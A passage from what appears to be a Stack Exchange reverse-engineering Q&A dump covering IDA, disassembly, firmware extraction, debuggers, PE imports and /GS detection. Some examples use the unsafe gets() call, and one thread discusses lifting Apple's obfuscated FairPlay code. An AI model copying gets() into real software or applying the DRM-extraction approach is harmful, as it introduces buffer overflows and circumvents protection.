Now you have a booting card.

\n" }, { "Id": "6668", "CreationDate": "2014-11-21T02:52:18.613", "Body": "

Looking for a way to determine whether the loaded binary in IDA is either little or big endian (example do i have a MIPSLE or MIPSBE binary open). I want to avoid just running \"file\" on the executable, as I may just not have a copy of the executable.

\n", "Title": "Determine endianness of file opened in IDA", "Tags": "|ida|", "Answer": "

Found the solution. It is slightly hidden but it is: idaapi.cvar.inf.mf

\n\n

This returns true on Big and false on Little endian.

\n\n

idaapi.py uses it:

\n\n
def as_unicode(s):\n    \"\"\"\n    Convenience function to convert a string into appropriate unicode format\n    \"\"\"\n    # use UTF16 big/little endian, depending on the environment?\n    return unicode(s).encode(\"UTF-16\" + (\"BE\" if _idaapi.cvar.inf.mf else \"LE\"))\n
\n" }, { "Id": "6672", "CreationDate": "2014-11-21T13:00:21.257", "Body": "

I'm currently learning RE and try to understand some basic c programs.

\n\n

I've almost figure out some concepts, but right now i've no idea how to find the size of an array when i use objdump or gdb.

\n\n

for example :

\n\n
int main(int argc, char **argv)\n{\n  char buffer[64];               // <= Where i supposed to find the array size ?\n  gets(buffer);                   \n  printf(\"Buffer : %s\",buffer);\n  return 0;\n}\n
\n\n

Anyone can explain me how is it possible ?

\n", "Title": "How to find the size of an array in binary?", "Tags": "|c|objdump|binary|", "Answer": "

There's no easy way to do this, C doesn't have a concept of array sizes (at execute time), so the size isn't stored anywhere. You'll have to read the assembly code and (try to) understand it.

\n\n

Take the following program

\n\n
extern void *malloc(int);\nextern char *strcpy(char *dst, char *src);\n\nchar firstname[80];\nchar lastname[80];\n\nint main(void) {\n    int some_variable=1;\n    char buffer[64];\n    int some_other_variable=2;\n    char *otherbuffer=malloc(100);\n    gets(buffer);\n    strcpy(firstname, \"John\");\n    strcpy(lastname, \"Doe\");\n}\n
\n\n

and compile it with cc -fno-builtin -O0 -o arraysize arraysize.c. (I had to disable built-in functions to prevent gcc from short-circuiting malloc and strcpy, and i declared them myself instead of using the headers for the same reason. Also, without -O0, gcc omits stuff that's never used).

\n\n

Then, use objdump -d arraysize and check the main function:

\n\n
0000000000400554 <main>:\n  400554:   55                      push   %rbp\n  400555:   48 89 e5                mov    %rsp,%rbp\n\n// This instruction tells you that the function needs 80 (0x50) bytes on the\n// stack. This happens to be the same as the size of all local variables\n// here, but might be higher as well if the function needs stack space for\n// function arguments and the like.\n  400558:   48 83 ec 50             sub    $0x50,%rsp\n\n\n// This puts 1 and 2 into the integer variables. Note we now know they're\n// located at -0x10(%rbp) and -0xc(%rbp) on the stack.\n  40055c:   c7 45 f0 01 00 00 00    movl   $0x1,-0x10(%rbp)\n  400563:   c7 45 f4 02 00 00 00    movl   $0x2,-0xc(%rbp)\n\n// This calls malloc(100) and puts the result into -0x8(rbp). We now know\n// the array pointed to has 100 bytes, because that's what was malloc'ed.\n// Note that you have no other way of finding out the size afterwards\n// (except if you know how exactly malloc is implemented and where malloc\n// keeps its internal housekeeping structures)\n  40056a:   bf 64 00 00 00          mov    $0x64,%edi\n  40056f:   e8 b4 fe ff ff          callq  400428 <malloc@plt>\n  400574:   48 89 45 f8             mov    %rax,-0x8(%rbp)\n\n// now, we call gets, feeding it with -0x50(%rbp) as its parameter.\n// As the next variable that's used on the stack is at -0x10(rbp), we can\n// assume that the array has 0x40=64 bytes. This does not have to be true;\n// for example, if the function declared 2 arrays of 32 bytes each, they'd\n// be at -0x50(%rbp) and -0x30(%rbp), and if the function never used the\n// one at 0x30(%rbp), there'd be no way for us to tell the difference.\n  400578:   48 8d 45 b0             lea    -0x50(%rbp),%rax\n  40057c:   48 89 c7                mov    %rax,%rdi\n  40057f:   b8 00 00 00 00          mov    $0x0,%eax\n  400584:   e8 bf fe ff ff          callq  400448 <gets@plt>\n\n// This is the strcpy to firstname. The address of firstname is at 0x6009e0.\n// We don't know how large it is, as we haven't seen a variable behind it yet.\n  400589:   be a8 06 40 00          mov    $0x4006a8,%esi\n  40058e:   bf e0 09 60 00          mov    $0x6009e0,%edi\n  400593:   e8 c0 fe ff ff          callq  400458 <strcpy@plt>\n\n// And this is the second strcpy, to lastname at 0x6000980. Since we've\n// seen the other strcpy to 0x60009e0, we assume that there are no more than\n// 0x50=80 bytes in that buffer, but see below.\n  400598:   be ad 06 40 00          mov    $0x4006ad,%esi\n  40059d:   bf 80 09 60 00          mov    $0x600980,%edi\n  4005a2:   e8 b1 fe ff ff          callq  400458 <strcpy@plt>\n\n// end of function\n  4005a7:   c9                      leaveq \n  4005a8:   c3                      retq   \n
\n\n

The C source code said

\n\n
char firstname[80];\nchar lastname[80];\nstrcpy(firstname, \"John\");\nstrcpy(lastname, \"Doe\");\n
\n\n

and from the address difference between the two strcpys, we assumed an array size of 80. But note that the exact same instructions would have been generated in that case:

\n\n
char name[160];\nstrcpy(name+80, \"John\");\nstrcpy(name, \"Doe\");\n
\n\n

So if you don't have debugging symbols, all you get are assumptions.

\n" }, { "Id": "6678", "CreationDate": "2014-11-21T18:40:16.403", "Body": "

I've been spending a good chunk of time looking at some 3rd party applications that were successful in \"reproducing\" (although I believe not necessarily by understanding the algorithm completely but simply extracting the core of the logic from the original binaries and replicating it into their own programs) the main logic for simulating an Apple TV server with full AirPlay mirroring support, to name a few:

\n\n
    \n
  1. AirServer (OSX/Windows)
    2. \n
  2. Reflector (OSX/Windows)
    3. \n
  3. AirReceiver (Android)
    4. \n
  4. X-Mirage (OSX/Windows)
    5. \n
  5. AirPin PRO (Android)
    6. \n
  6. EZCast Screen (Android)
    7. \n
  7. Xiaomi Milian (Android/runs on Xiaomi Box)
    8. \n
\n\n

By looking at their decompiled code and some other references on the web, most of the protocol aspect is already known/relatively easy to figure out and I did it already, so no sweat there, the key part I'm having a tough time understanding how these guys were able to pull it off is related to the FairPlay decryption portion (i.e.: when receiving and responding to the fp-setup challenges as well as decrypting the AES key sent in the last step of the challenge).

\n\n

They all seem to have extracted the white-boxed/obfuscated functions out of Apple's original airtunesd/fairplayd daemon code and embedded it into their source, delegating the calls to seed/encrypt/decrypt to it.

\n\n

I noticed in some iOS devices this daemon also exist (most likely used to encrypt the feed when mirroring the screen via AirPlay to a compatible server) but was wondering how different this really is from the one shipped with the Apple TV and if my assumptions are actually correct (is that were most of these guys are taking this code from?).

\n\n

Was hoping either someone with previous experience or a little more knowledge on the topic could shed some light/pointers so I could find a way to at least do the same these guys were able to accomplish (which is not really deobfuscating the code but just extracting it to embed in their own programs).

\n\n

PS: For clarity, aside from confirmation I was looking for some pointers as to how one would be able to extract compilable code from a said binary, given my attempts at disassembling and decompiling via IDA Pro haven't provided me with much that I can reuse to compile new code that reproduces that piece of the puzzle.

\n", "Title": "AirPlay Mirroring decryption (FairPlay)", "Tags": "|disassembly|decompilation|obfuscation|encryption|decryption|", "Answer": "

From my work (on applications I will not disclose) I will give a short conclusion. The device does not use the older AirPlay methods. e.g. there isn't just a single key that can decrypt across any device. You must have a server, we call it an \"AirPlay server\", that the device calls for a decryption key for that specific session. The rest of the work is done on the device (decryption). So the device asks the server, server responds with a key, device uses the key for decryption. Most of the actual work is done on the device.

\n" }, { "Id": "6679", "CreationDate": "2014-11-21T23:30:12.663", "Body": "

Our ISP, MWeb, gave us a free router and Wifi extender (WRE2205v2) as part of a new promotion. Neither of them really work at all (the extender works for about a minute then fails for no apparent reason). Acording to reviews, it should be a decent repeater, but it seems Mweb has completely screwed up the firmware.

\n\n

This blog post shows how to get very basic root access (it's running embedded Linux) on the device (the security is... bad). So far I've worked out it's a MIPS device (running file on an executable gives ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV) and the file system is squash-fs, so read only. I can also copy files to/from the device using tftp.

\n\n

I also know that both the branded firmware and the stock firmware use a binary called fw_upgrade to flash a new firmware. I tried decompiling them using http://decompiler.fit.vutbr.cz/decompilation/ but I haven't had much luck there. The branded one has a bit more code which I assume checks something about the new firmware and prevents the stock firmware from being flashed. Finally I tried copying the stock fw_upgrade to the device and running it but it fails without an error message.

\n\n

What else can I do to get the stock firmware running?

\n", "Title": "Modifying / Installing stock firmware on ISP Branded WRE2205", "Tags": "|disassembly|decompilation|linux|firmware|", "Answer": "

I just got it working. Turns out I didn't need to modify the binary. After extracting the squash-fs file system from the update file, I managed to copy fw_update to the device using tftp. Running that binary (/etc/fw_update upg fw.bin) instead of the ISP one worked and flashed the stock firmware. The binary needs to be copied to /etc or /var because the rest is read-only.

\n" }, { "Id": "6685", "CreationDate": "2014-11-22T13:20:39.683", "Body": "

I want to attach OllyDbg or IDA to a process as soon as it is loaded in memory before a single instruction of it being executed. How do I do This???\nI cant use File->Open for some reason. I can only attach to it.

\n", "Title": "how to attach to a process as soon as it is loaded in memory", "Tags": "|ida|ollydbg|debuggers|debugging|", "Answer": "

One way to do is create a new process using CreateProcess with dwCreationFlags as CREATE_SUSPENDED. Next attach to the suspended process using your debugger, and resume all threads.

\n\n

Some other way would be to edit the PE file and change the bytes at the entrypoint to EB FE.\nThis is an instruction that jumps to itself, i.e. it is an infinite loop. Next start the application normally. Now use a debugger to attach to it. Restore the original bytes at the entrypoint and resume the process.

\n" }, { "Id": "6693", "CreationDate": "2014-11-23T22:28:25.893", "Body": "

I'm working with a function thats similar to Memory Resize like realloc / redim in VB.

\n\n

The first 3 lines decompiled look like

\n\n
char *__cdecl ExpandMemory(void *lpAddress, signed int StartPos, signed int MaxSize)\n{\n    int NewSize; // edi@3\n\n    if ( StartPos > 0x80000 )\n        MaxSize = 16 * MaxSize;\n    NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;\n    //Lots of stuff goes here\n}\n
\n\n

Can someone tell me what this line is suppose to do

\n\n

NewSize = MaxSize * (MaxSize + StartPos - 1) / MaxSize;

\n\n

I have a very strong feeling its a Math.MIN() function without ?:

\n\n

Since MIN function is declared like this

\n\n
#define MIN(X, Y) (((X) < (Y)) ? (X) : (Y))\n
\n\n

I don't understand how that math could resemble it, could someone explain what it's suppose to do.

\n\n

As far as I know it doesn't even work properly keeps creating a NewSize which is far greater then the MaxSize, if it could work can someone explain how it could actually work?\nIn most spots the MaxSize parameter is usually 1 which indicates no limit and uses StartPos only, where MaxSize is used it usually is 65536 or 2048 some binary values. But it doesn't have anything to do with binary what so ever.

\n\n

In ASM the code looks like this

\n\n
.text:004083BC                 lea     eax, [ecx+eax-1]\n.text:004083C0                 cdq\n.text:004083C1                 idiv    ecx\n.text:004083C3                 mov     edi, eax\n.text:004083C5                 imul    edi, ecx\n.text:004083C8                 mov     ecx, [esp+114h+arg_0]\n
\n\n

Full decompiled source:

\n\n
char *__cdecl ExpandMemory(void *a1, signed int NewSize, signed int MaxSize)\n{\n  signed int HowMuchBiggerr; // ecx@1\n  int NewSizee; // edi@3\n  char *v5; // eax@5\n  char *v6; // esi@8\n  char *result; // eax@13\n  void *v8; // eax@15\n  signed int v9; // esi@18\n  int v10; // edi@18\n  char *v11; // eax@22\n  char *v12; // eax@27\n  char *v13; // ebp@30\n  unsigned int v14; // ecx@35\n  void *Memory; // [sp+10h] [bp-104h]@18\n  char Text[256]; // [sp+14h] [bp-100h]@11\n\n  HowMuchBiggerr = MaxSize;\n  if ( NewSize > (signed int)0x80000u )\n    HowMuchBiggerr = 16 * MaxSize;\n  NewSizee = HowMuchBiggerr * (HowMuchBiggerr + NewSize - 1) / HowMuchBiggerr;\n  if ( a1 )\n  {\n    if ( NewSizee )\n    {\n      v9 = *((_DWORD *)a1 - 1);                 // Okay minus 4 bytes from beginning of pointed data is size? (must be a special structure of some kind)\n      v10 = NewSizee + 4;\n      Memory = (char *)a1 - 4;\n      if ( v10 == v9 )                          // Check if special attribute (Size?) exists and equals the New Size so it can ignore it.\n      {\n        result = (char *)a1;\n      }\n      else\n      {\n        if ( v9 > (signed int)0x80000u || v10 > (signed int)0x80000u )\n        {\n          if ( v10 <= (signed int)0x80000u )\n            v12 = (char *)malloc(v10);\n          else\n            v12 = (char *)VirtualAlloc(0, v10, 0x1000u, 4u);\n          if ( v12 )\n          {\n            *(_DWORD *)v12 = v10;\n            v13 = v12 + 4;\n          }\n          else\n          {\n            v13 = 0;\n          }\n          if ( !v13 )\n          {\n            sprintf(Text, \"Out of memory (Alloc:%d)\", v10 - 4);\n            MessageBoxA(0, Text, \"Error\", 0x30u);\n            exit(1);\n          }\n          v14 = v9 - 4;\n          if ( v9 - 4 >= v10 - 4 )\n            v14 = v10 - 4;\n          memcpy(v13, a1, v14);\n          if ( *(_DWORD *)Memory <= (signed int)0x80000u )\n          {\n            free(Memory);\n            result = v13;\n          }\n          else\n          {\n            VirtualFree(Memory, 0, 0x8000u);\n            result = v13;\n          }\n        }\n        else\n        {\n          v11 = (char *)realloc((char *)a1 - 4, v10);\n          if ( !v11 )\n          {\n            MessageBoxA(0, \"Out of memory (Resize)\", \"Error\", 0x30u);\n            exit(1);\n          }\n          *(_DWORD *)v11 = v10;\n          result = v11 + 4;\n        }\n      }\n    }\n    else\n    {\n      v8 = (char *)a1 - 4;\n      if ( *((_DWORD *)a1 - 1) <= (signed int)0x80000u )\n      {\n        free(v8);\n        result = 0;\n      }\n      else\n      {\n        VirtualFree(v8, 0, 0x8000u);\n        result = 0;\n      }\n    }\n  }\n  else\n  {\n    if ( NewSizee + 4 <= (signed int)0x80000u )\n      v5 = (char *)malloc(NewSizee + 4);\n    else\n      v5 = (char *)VirtualAlloc(0, NewSizee + 4, 0x1000u, 4u);\n    if ( v5 )\n    {\n      *(_DWORD *)v5 = NewSizee + 4;\n      v6 = v5 + 4;\n    }\n    else\n    {\n      v6 = 0;\n    }\n    if ( !v6 )\n    {\n      sprintf(Text, \"Out of memory (Alloc:%d)\", NewSizee);\n      MessageBoxA(0, Text, \"Error\", 0x30u);\n      exit(1);\n    }\n    result = v6;\n  }\n  return result;\n}\n
\n", "Title": "Could this be a Math.Min function decompiled in C?", "Tags": "|assembly|decompile|", "Answer": "

Looks like a common pattern for ceiling to me.

\n\n

In other words NewSize = ceil(StartPos/MaxSize) * MaxSize, which is rounding it to the nearest multiple of MaxSize that is larger than StartPos.

\n" }, { "Id": "6695", "CreationDate": "2014-11-24T01:23:43.427", "Body": "

I use this site http://www.showmycode.com/ to decompile the swf below\nhttp://kwcdn.000dn.com/swfs/8b/23440heisesm/bg.swf

\n\n

But the code only shows the link for a video but I can not get the image in the background. Where and how is that image is embedded in the swf? How can I retrieve that image?

\n\n

Long story short, I want to search which game is it, from an ads in a Chinese site, but I can not read any Chinese, and the ads is a fake lead to a fake game. So the easiest way is to decompile the swf and use the image in google search hoping for some results. The decomplied code is shown below:

\n\n
function video_replay()\n{\n    my_ns.seek(0);\n}\nvar str_url = \"http://kwflvcdn.000dn.com/swfs/17/23308hssm/hesm.flv\";\nvar my_nc = new netconnection();\nmy_nc.connect(null);\nvar my_ns = new netstream(my_nc);\nmy_ns.setbuffertime(0);\nvar my_video;\nmy_video.attachvideo(my_ns);\nmy_video.smoothing = true;\nmy_ns.play(str_url);\nvar m_iErrorCount = 0;\nmy_ns.onstatus = function (infoObject)\n{\n    if ((infoObject.level == \"error\") && (m_iErrorCount < 2))\n    {\n        m_iErrorCount++;\n        var _local2 = setTimeout(video_replay, 3);\n    }\n    else if (infoObject.code == \"NetStream.Play.Stop\")\n    {\n        var _local2 = setTimeout(video_replay, 0);\n    }\n    else if (infoObject.code == \"NetStream.Buffer.Flush\")\n    {\n         trace(my_ns.time);\n    }\n};\n
\n", "Title": "How to get resource in swf file?", "Tags": "|decompilation|actionscript|swf|", "Answer": "

https://www.youtube.com/watch?v=EDUyzrxR-mY

\n\n

game found enjoy it if you like. This is the real game from that flash teaser

\n\n

The game I found myself as well while I was visiting chinese upload websites\nhttp://bdtg.37.com/s/1/1789/22338.html?baidu_key=395e3e9222fd2722

\n" }, { "Id": "6698", "CreationDate": "2014-11-24T15:00:49.093", "Body": "

When manually unpacking a program and ending up at the OEP, then why do we have to rebuild the import table? I understand that when packing, the import table is destroyed for compression/stealth, but if we're already at the OEP, it must mean the program is ready to roll because the unpacking stub has repaired the import table already? Otherwise it would just crash at the first external call.

\n", "Title": "Why isn't the import table ready at OEP?", "Tags": "|unpacking|iat|import-reconstruction|", "Answer": "
\n

if we're already at the OEP, it must mean the program is ready to roll\n because the unpacking stub has repaired the import table already

\n
\n\n

No, by the time the OEP is reached, the unpacking stub has populated the Import Address Table; it hasn't repaired the Import Table. You need to reconstruct the Import Table so that when you run the unpacked program, the Windows loader will populate the Import Address Table at runtime (with the correct function addresses at runtime) based on the data in the Import Table.

\n\n

(Note that there are always exceptions, but this is typically true for most packers.)

\n" }, { "Id": "6699", "CreationDate": "2014-11-24T15:08:38.040", "Body": "

When a program is packed the OriginalFirstThunk tends to be discarded. When the loader resolves the imports, then how does it know which functions to look for? For some reason the IAT (FirstThunk) is magically filled with addresses even before system load, not function names. Why is that? It's as if the linker wrote down the DLL name and all the function addresses from the DLL directly into the IAT at compile time. Who's to say the addresses won't change on a DLL update? Or on ASLR?

\n\n

Why is there addresses in the IAT in the first place? Isn't it supposed to point to the function names and be changed at runtime? If there already exist \"pre-compiled\" addresses in the IAT, then why would we even need to go set up the IAT when the executable gets loaded?

\n\n

Considering this, why do we even need OriginalFirstThunk? If IAT has the function names or the addresses it seems useless to me.

\n", "Title": "Why is IAT filled with static addresses instead of function names?", "Tags": "|unpacking|iat|import-reconstruction|", "Answer": "
\n

When the loader resolves the imports, then how does it know which\n functions to look for?

\n
\n\n

It parses the Import Table. For each entry, it parses the DLL name and associated function names and/or function ordinals.

\n\n
\n

For some reason the IAT (FirstThunk) is magically filled with\n addresses even before system load, not function names. Why is that?

\n
\n\n

It's for bound imports. There's a good explanation of bound imports at the bottom of Iczelion's Tutorial 6: Import Table in the Appendix.

\n\n
\n

Who's to say the addresses won't change on a DLL update? Or on ASLR?

\n
\n\n

They will very likely change, in which case the Windows loader will ignore the bound function addresses and replace those address in the IAT with the dynamically resolved function addresses at runtime.

\n\n
\n

Why is there addresses in the IAT in the first place? Isn't it\n supposed to point to the function names and be changed at runtime?

\n
\n\n

No, the Import Table contains the function names; the Import Address Table contains function addresses.

\n" }, { "Id": "6708", "CreationDate": "2014-11-24T18:14:42.857", "Body": "

I have to check massive amount of binaries whether they were compiled with the /GS option. I assume a good indicator would be to check if they have stack cookie or not. Do you know any tool that can do this, or any tool that I could build into a script, so I don't have to do it manually?

\n\n

Edit

\n\n

Found Binscope, I'll check if it's capable to check more binaries at the same time or it's scriptable.

\n\n

Edit2

\n\n

It requires debug symbols, so this is not a solution.

\n\n

Edit3

\n\n

https://github.com/NetSPI/PEchecker

\n", "Title": "Check if binary was compiled with security checks (/GS)", "Tags": "|windows|tools|binary-analysis|software-security|stack-variables|", "Answer": "
    \n

  1. you can check the IMAGE_LOAD_CONFIG_DIRECTORY structure, it has a field for the pointer to SecurityCookie's value in the image.

    2. \n

  2. In very old binaries, this structure might be not used, or SecurityCookie RVA is 0 even though the binary may be using /GS. In such case you can scan for the characteristic code signature of the @__security_check_cookie@4 function:

    \n\n
    3B0D........7501C3E9 (VC7)  \n3B0D........0F85........C3 (VC7?)  \n3B0D........7502F3C3E9 (VC8+)\n
    3. \n

  3. you can also scan for the initial cookie value (BB40E64E) in the binary. Though I guess this might produce some false positives.

    4. \n
\n" }, { "Id": "6716", "CreationDate": "2014-11-26T02:13:59.010", "Body": "

We have an executable that loads an XML file into memory, before parsing it into objects.

\n\n

When this file is loaded into memory is it possible to, break when it is loaded into memory and then somehow extract the file from memory?

\n", "Title": "Dumping a file loaded into memory", "Tags": "|dumping|", "Answer": "

You can also just dump all the RAM :)\nhttps://github.com/volatilityfoundation/volatility

\n" }, { "Id": "6719", "CreationDate": "2014-11-26T18:32:52.363", "Body": "

I want lldb to break at the start of the actual code of an OS X application (which might be called main if symbols are existing).

\n\n

I am currently looking this up by hand, but as I want to script some actions, it would be great if this could somehow be realized automatically

\n\n

\"enter

\n\n

Do you have any idea if there is a way?

\n", "Title": "lldb: break at start of actual code, not entrypoint", "Tags": "|debugging|osx|lldb|", "Answer": "

Try this:

\n\n
(lldb) break set -n main\n(lldb) r\n(lldb) thread backtrace\n\nframe #0: 0x0000000000405696 app`main(argc=1, argv=...) + 22 at app.cpp:11\nframe #1: 0x00007ffff7216ec5 libc.so.6`__libc_start_main + 245\nframe #2: 0x0000000000401f79 app\n
\n\n

The frame below (before) main is the one you want, and it's showing the library and function name. You can set a breakpoint on it just like any other:

\n\n
(lldb) break set -n __libc_start_main\nBreakpoint 1: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0\n
\n\n

or, to be more specific:

\n\n
(lldb) break set -s libc.so.6 -n __libc_start_main\nBreakpoint 2: where = libc.so.6`__libc_start_main, address = 0x00007ffff7216dd0\n
\n\n

If you know the address, you could use it directly:

\n\n
(lldb) break set -a 0x000000...\n
\n\n

Then restart the process, and you should hit it immediately:

\n\n
(lldb) r\nThere is a running process, kill it and restart?: [Y/n] y\n...\n* thread #1: ...__libc_start_main, name = 'app', stop reason = breakpoint\nframe #0: 0x00007ffff7216dd0 libc.so.6`__libc_start_main\n-> ...: pushq  %r14\n(lldb)\n
\n" }, { "Id": "6720", "CreationDate": "2014-11-26T19:53:09.960", "Body": "

I'm trying to mount an img file for my wireless router firmware but I can't seem to do it successfully.

\n\n

When I fun the file command on that .img it returns the following:

\n\n
$ file file.img \nfile.img: data\n
\n\n

When I try to use mount on it I get the following:

\n\n
$ sudo mount file.img test/\nmount: you must specify the filesystem type\n
\n\n

When I try to tell to use \"-t auto\" I get the same output:

\n\n
$ sudo mount -t auto file.img test\nmount: you must specify the filesystem type\n
\n\n

xxd returns the following:

\n\n
$ xxd -a N150R-V1.0.0.5_1.0.1.img | head\n0000000: 6465 7669 6365 3a4e 3135 3052 0a76 6572  device:N150R.ver\n0000010: 7369 6f6e 3a56 312e 302e 302e 355f 312e  sion:V1.0.0.5_1.\n0000020: 302e 310a 7265 6769 6f6e 3a0a 0000 0000  0.1.region:.....\n0000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n*\n0000070: 0000 0000 0000 0000 0000 0000 0000 1232  ...............2\n0000080: 3036 3132 d9cf 3fc1 5297 2c87 0033 eed0  0612..?.R.,..3..\n0000090: 9f05 0000 9f05 0000 9b63 9e62 0505 0700  .........c.b....\n00000a0: 4e31 3530 522d 5631 2e30 2e30 2e35 5f31  N150R-V1.0.0.5_1\n00000b0: 2e30 2e31 0000 0000 0000 0000 0000 0000  .0.1............\n
\n\n

binwalk gives the following:

\n\n
$ binwalk N150R-V1.0.0.5_1.0.1.img \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n192           0xC0            Squashfs filesystem, big endian, version 3.0, size: 3403472 bytes, 1024 inodes, blocksize: 65536 bytes, created: 2013-11-28 11:44:07\n
\n\n

fdisk (on OS X) returns:

\n\n
$ fdisk N150R-V1.0.0.5_1.0.1.img \nDisk: N150R-V1.0.0.5_1.0.1.img  geometry: 26/4/63 [6656 sectors]\nSignature: 0x95EB\n         Starting       Ending\n #: id  cyl  hd sec -  cyl  hd sec [     start -       size]\n------------------------------------------------------------------------\n 1: 02  648  41  48 -  107 220  28 [ 275573942 - 2530152094] XENIX /     \n 2: C9  165 158   8 -  311  15  40 [1825336399 - 3160300718] <Unknown ID>\n 3: 12  606 153  51 -  988 164  42 [3547124620 - 4171149652] Compaq Diag.\n 4: BD  479 182  60 -  173 155  40 [2642289636 - 1573814809] <Unknown ID>\n
\n\n

Could I get some guidance on how to extract the files from the img? I have access to both OS X and Ubuntu.

\n\n

Link to Firmware

\n\n

EDIT 1:\nResult of sasquatch:

\n\n
$ sasquatch N150R-V1.0.0.5_1.0.1.img \nSquashFS version [24373.11825] / inode count [1312449891] suggests a SquashFS image of a different endianess\nNon-standard SquashFS Magic: devi\nReading a different endian SQUASHFS filesystem on N150R-V1.0.0.5_1.0.1.img\nFilesystem on N150R-V1.0.0.5_1.0.1.img is (13663:12590), which is a later filesystem version than I support!\n
\n", "Title": "How to extract N150R firmware from .img file", "Tags": "|firmware|", "Answer": "

If you don't want to install yet another tool, it will probably mount if you strip off the header (the first 192 Bytes that binwalk talks about):

\n\n
dd if=file.img of=file.squashfs bs=192 skip=1\nsudo mount file.squashfs test/\n
\n\n

EDIT:

\n\n

Since the router seems to have a big-endian Mips processor, mounting didn't work for me either. The following worked on Ubuntu 14.04 however:

\n\n
apt-get install liblzo2-dev \ngit clone https://github.com/devttyS0/sasquatch\nmake\nsasquatch /path/to/file.squashfs\n
\n\n

(Obviously, you need git, make, gcc installed as well. liblzo2-dev was the only dependency i hadn't installed before. I had to used the file prepared with dd as shown above, not the original .img).

\n\n

In case you can't get it to work, here's the extracted file:

\n\n

https://mega.co.nz/#!xFoQkZRB!lcdUdDVGKsgEeu8Q5HnL3BSBXJKCHe0jZkGwOyTSxlQ

\n" }, { "Id": "6723", "CreationDate": "2014-11-27T11:37:56.913", "Body": "

While I was reversing an elf binary, I tried to manually compute my environment variable's address. Therefore I found this documentation and we're said that there is one NULL DWORD at the end of the stack.

\n\n

In that case, the stack's binary isn't randomized, so there is a NULL DWORD at 0xbffffffc (0xc0000000 - 4). Then normally goes the program's name towards low addresses. So one would read into the stack:

\n\n
./program_name\\0 + NULL DWORD\n
\n\n

But I'm finding two dwords when I check this out with gdb:

\n\n
(gdb) x/4x 0xc0000000 - 0x10\n0xbffffff0:     0x5f747365      0x00766e65      0x00000000      0x0000000\n
\n\n

I can see that there's the end of my program name (plus the \\0 as well) but shouldn't it end at 0xbffffffc instead of 0xbffffff8? There are two nul dwords instead of one, and I cannot understand why.

\n", "Title": "ELF File format Two terminating null dword towards 0xc0000000?", "Tags": "|gdb|elf|stack|", "Answer": "

I don't know which architecture you are on, but the original documentation links to create_elf_tables in binfmt_elf.c.

\n\n

In this function, you've got p = arch_align_stack(p);. The chinese documentation is obviously written for x86, but your architecture may use 8 bytes alignement for your stack, and pad with an extra DWORD.

\n" }, { "Id": "6741", "CreationDate": "2014-11-29T15:52:10.613", "Body": "

I have seen the Moonsols Memory Toolkit for Windows (Community Edition). It however does not support x64 memory dumping. Only its professional version can do that. Are there any free alternatives out there that do the same ? To narrow down what I am looking for I would be interested in features like -:

\n\n\n\n

I have seen a lot of free tools for x86, but for x64 its a whole different ball game.

\n", "Title": "tools - Free Windows Memory Toolkit for x64", "Tags": "|memory|digital-forensics|", "Answer": "

Volatility supports x64 Windows 7 hibernation files as well as x64 images.

\n" }, { "Id": "6742", "CreationDate": "2014-11-29T17:29:34.277", "Body": "

About an year back I had seen a PDF of some research work that had been shared at /r/reverseengineering that tried to reason and understand the thought process involved in Reverse Engineering.

\n\n

Unfortunately I did not save the link and I'm having trouble finding it on reddit. I was wondering if anyone had a link of the same handy.

\n", "Title": "Reverse Engineering Thought Process", "Tags": "|process|", "Answer": "

You are probably refering to this document: http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA557042

\n" }, { "Id": "6748", "CreationDate": "2014-11-30T12:33:05.003", "Body": "

Do I have to contact the producer of a software before publicly posting (Twitter, Blog, ...) about security issues of it? Does it matter how this knowledge was acquired (reverse engineering, sniffing network traffic, trial & error, ...)? I'm living in Europe (if it matters).

\n\n

What about posting exploits? Is there any law prohibiting an exploit with source code, so a security issue could be reproduced by anyone?

\n\n

I'm talking about general-purpose software like Smartphone apps or desktop applications.

\n", "Title": "Is it legal to publicly post about security issues without informing the provider first (in Europe)?", "Tags": "|law|", "Answer": "

The best and ethical thing to do in this situation would be to contact the producer of the software/system and provide them with examples that verify the security problem. If you want to verify information was received, make contact via phone with recipient and send it via a secure verifiable method ( including overnight express etc....) . If it is indeed an exploit this will allow vendor time to hopefully patch their system and get ahead of any attacks that would benefit from the release of said information. If vendor is ethical and appreciative , they in turn should give you credit for the reporting the security error once they have mitigated the problem (assuming you want to be named).

\n" }, { "Id": "6750", "CreationDate": "2014-11-30T16:49:05.543", "Body": "

I have been reading and reading about NAND and NOR flash.I am wantina (Usualy 512 bytes) to access some stored information in a nand.bin file but cannot for the life of me figure out what I need to do in order to decrypt it. I am aware it takes a key which I have, just dont know how to use it. Here is what I do know. Any advice is greatly appreciatted, I am getting overwhelmed.

\n\n

The NAND uses a proprietary format.

\n\n

The format is used to store device specific data (Config blocks, etc) and system data (Bootloaders, Kernel etc).

\n\n

The files are stored using a format which is designed to be transctional (Each change can be reverted).

\n\n

The nand uses a series of pages to combine into blocks, which are snippets of data (Usually 512 bytes) which each have an EDC tag at the end (an extra 16 bytes)

\n\n

These pages are each part of a specific block (which can be ID'd with the EDC) which is usually made with 16 pages.

\n\n

All (non-eMMC) NANDs have specific Spare-/Metadata for each page inside the NAND. Sometimes it will not be dumped with the NAND, so it has to either be added back or redumped. The Metadata contains the pages block number, a series of flags and a checksum. Those differ slightly, depending on the blocksize.

\n\n

The ECC/EDC checksum uses a custom algorithm - here is C code for that (Will be converted to vb.net)

\n\n
